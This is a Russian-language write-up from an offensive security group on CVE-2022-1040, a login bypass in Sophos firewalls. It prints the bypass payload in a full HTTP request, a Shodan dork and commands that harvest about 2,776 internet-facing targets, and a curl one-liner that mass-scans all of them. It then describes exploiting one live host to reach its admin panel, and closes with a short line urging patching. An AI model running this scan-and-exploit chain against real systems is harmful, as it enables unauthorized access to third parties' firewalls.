
CVE-2022-1040
В исследовательской группе Toasec, занимающейся наступательной кибербезопасностью, мы взяли на себя задачу провести анализ этой уязвимости в межсетевых экранах Sophos.
Данная уязвимость, как и многие другие, может быть обнаружена и найдена, если уметь искать в twitter, где мы заметили, что начиная с марта стали появляться статьи об RCE.
Если мы посмотрим на репозитории, содержащие POC
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
Мы можем видеть полезную нагрузку (mode=151&json=), которая позволяет нам обойти логин, и также видим конечную точку webconsole/webpages/login.jsp
Теперь перейдем к анализу атак в Greynoise и проверим, эксплуатируется ли она активно.

После того как мы определили конечную точку и проверили некоторые пути, используемые в атаках с помощью greynoise, мы можем создать наш dork в Shodan: title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)". Этот dork мы определили как наиболее вероятный, но следует помнить, что уязвимые версии — Sophos XG115w Firewall 17.0.10 MR-10

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
Приступим к проверке данных
Мы распарсим данные в формат, который позволит автоматизацию, и видим, что существует 2776 возможных целей
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Теперь нужно очистить и удалить запятые, чтобы упростить работу с onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
Теперь мы можем работать с onliner в более подходящем формате
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

После проверки наших целей остается лишь выбрать одну и провести тест, зайдя на панель входа

Перехватываем запрос входа и отправляем его в responder

Модифицируем запрос с полезной нагрузкой и должны получить перенаправление на панель управления файрволом

Пробуем перейти по пути index.jsp

Мы подтвердили, что уязвимость присутствует в цели, и она также активна на многих хостах, однако на сегодняшний день можно наблюдать широкое применение мер по смягчению последствий в отношении других уязвимостей.
В таких случаях первоочередной задачей является обновление и установка патчей безопасности, как только они становятся доступны от производителей.